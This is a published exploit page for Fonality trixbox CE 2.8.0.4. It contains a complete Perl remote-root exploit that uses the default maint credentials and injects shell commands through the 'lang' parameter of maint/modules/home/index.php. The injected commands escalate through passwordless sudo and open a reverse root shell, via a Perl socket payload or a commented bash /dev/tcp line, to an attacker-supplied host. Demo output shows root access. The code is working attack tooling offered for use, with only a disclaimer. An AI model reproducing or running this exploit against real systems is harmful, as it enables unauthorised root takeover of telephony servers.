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Fonality Trixbox CE 2.8.0.4 Command Execution

Posted on 17 October 2014

#!/usr/bin/perl # # Title: Fonality trixbox CE remote root exploit # Author: Simo Ben youssef # Contact: Simo_at_Morxploit_com # Discovered & Coded: 2 June 2014 # Published: 17 October 2014 # MorXploit Research # http://www.MorXploit.com # Software: trixbox CE # Version: trixbox-2.8.0.4.iso # Vendor url: http://www.fonality.com/ # Download: http://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/ # Vulnerable file: maint/modules/home/index.php # # Description: # maint/modules/home/index.php suffers from a command execution vulnerability, allowing an authenticated user to inject commands as the # asterisk user which then can be leverged to root privilege through sudo. # # from /etc/sudoers: ## asterisk ALL = NOPASSWD: /bin/bash # # Vulnerable code: # Line 68: $tbLang = $_GET['lang']; # Line 339: shell_exec $phpOutput = shell_exec('php -q libs/status.php ' . $tbLang); # # Note: # We did a full audit of Fonality trixbox CE 2.8.0.4 and we found several similar vulnerabilities (File disclosure, command/code execution etc). # We didn't think it was necessary to cover all the findings since support for the CE edition has been discontinued # but anyone who thinks about installing this should think twice. # # Download: # http://www.morxploit.com/morxploits/morxtrix.pl # # Demo: # perl trixbox.pl http://10.0.0.16 10.0.0.2 1111 # # =================================================== # --- Fonality trixbox remote root exploit # --- By: Simo Ben youssef <simo_at_morxploit_com> # --- MorXploit Research www.MorXploit.com # =================================================== # [*] MorXploiting http://10.0.0.16/maint/modules/home/index.php # [+] Sent payload! Waiting for connect back root shell ... # [+] Et voila you are in! # # Linux trixbox1.localdomain 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:39:04 EST 2010 i686 i686 i386 GNU/Linux # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) # # Requires LWP::UserAgent # apt-get install libwww-perl # yum install libwww-perl # perl -MCPAN -e 'install Bundle::LWP' # For SSL support: # apt-get install liblwp-protocol-https-perl # yum install perl-Crypt-SSLeay # # Author disclaimer: # The information contained in this entire document is for educational, demonstration and testing purposes only. # Author cannot be held responsible for any malicious use or damage. Use at your own risk. use LWP::UserAgent; use MIME::Base64; use IO::Socket; use strict; sub banner { system(($^O eq 'MSWin32') ? 'cls' : 'clear'); print "=================================================== "; print "--- Fonality trixbox CE remote root exploit "; print "--- By: Simo Ben youssef <simo_at_morxploit_com> "; print "--- MorXploit Research www.MorXploit.com "; print "=================================================== "; } if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) { banner(); print "perl $0 <target> <connectbackIP> <connectbackport> "; print "perl $0 http://10.0.0.16 10.0.0.2 31337 "; exit; } my $host = $ARGV[0]; my $vuln = "maint/modules/home/index.php"; my $cbhost = $ARGV[1]; my $cbport = $ARGV[2]; my $defuser = "maint"; # Default maint user my $defpass = "password"; # Default maint pass my $string = "$defuser:$defpass"; my $encoded = encode_base64($string); $| = 1; $SIG{CHLD} = 'IGNORE'; my $l_sock = IO::Socket::INET->new( Proto => "tcp", LocalPort => "$cbport", Listen => 1, LocalAddr => "0.0.0.0", Reuse => 1, ) or die "[-] Could not listen on $cbport: $! "; sub randomagent { my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31' ); my $random = $array[rand @array]; return($random); } my $useragent = randomagent(); my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->timeout(10); $ua->agent($useragent); my $status = $ua->get("$host/$vuln", Authorization => "Basic $encoded"); unless ($status->is_success) { banner(); print "[-] Error: " . $status->status_line . " "; exit; } banner(); print "[*] MorXploiting $host/$vuln "; #my $payload = "sudo /bin/bash -i >%26 /dev/tcp/$cbhost/$cbport 0>%261"; # Bash connect back my $payload = "sudo /bin/bash -c "perl -e '\$p=fork;exit,if(\$p); use Socket; use FileHandle; my \$system = \"/bin/sh\"; my \$host = \"$cbhost\"; my \$port = \"$cbport\";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\")); connect(SOCKET, sockaddr_in(\$port, inet_aton(\$host))); SOCKET->autoflush(); open(STDIN, \">%26SOCKET\"); open(STDOUT,\">%26SOCKET\"); open(STDERR,\">%26SOCKET\"); print \"[%2b] Et voila you are in!\\n\\n\"; system(\"uname -a;id\"); system(\$system);'""; my $exploit = $ua->get("$host/$vuln?lang=;$payload", Authorization => "Basic $encoded"); print "[+] Sent payload! Waiting for connect back root shell ... "; my $a_sock = $l_sock->accept(); $l_sock->shutdown(SHUT_RDWR); copy_data_bidi($a_sock); sub copy_data_bidi { my ($socket) = @_; my $child_pid = fork(); if (! $child_pid) { close(STDIN); copy_data_mono($socket, *STDOUT); $socket->shutdown(SHUT_RD); exit(); } else { close(STDOUT); copy_data_mono(*STDIN, $socket); $socket->shutdown(SHUT_WR); kill("TERM", $child_pid); } } sub copy_data_mono { my ($src, $dst) = @_; my $buf; while (my $read_len = sysread($src, $buf, 4096)) { my $write_len = $read_len; while ($write_len) { my $written_len = syswrite($dst, $buf); return unless $written_len; $write_len -= $written_len; } } }

 

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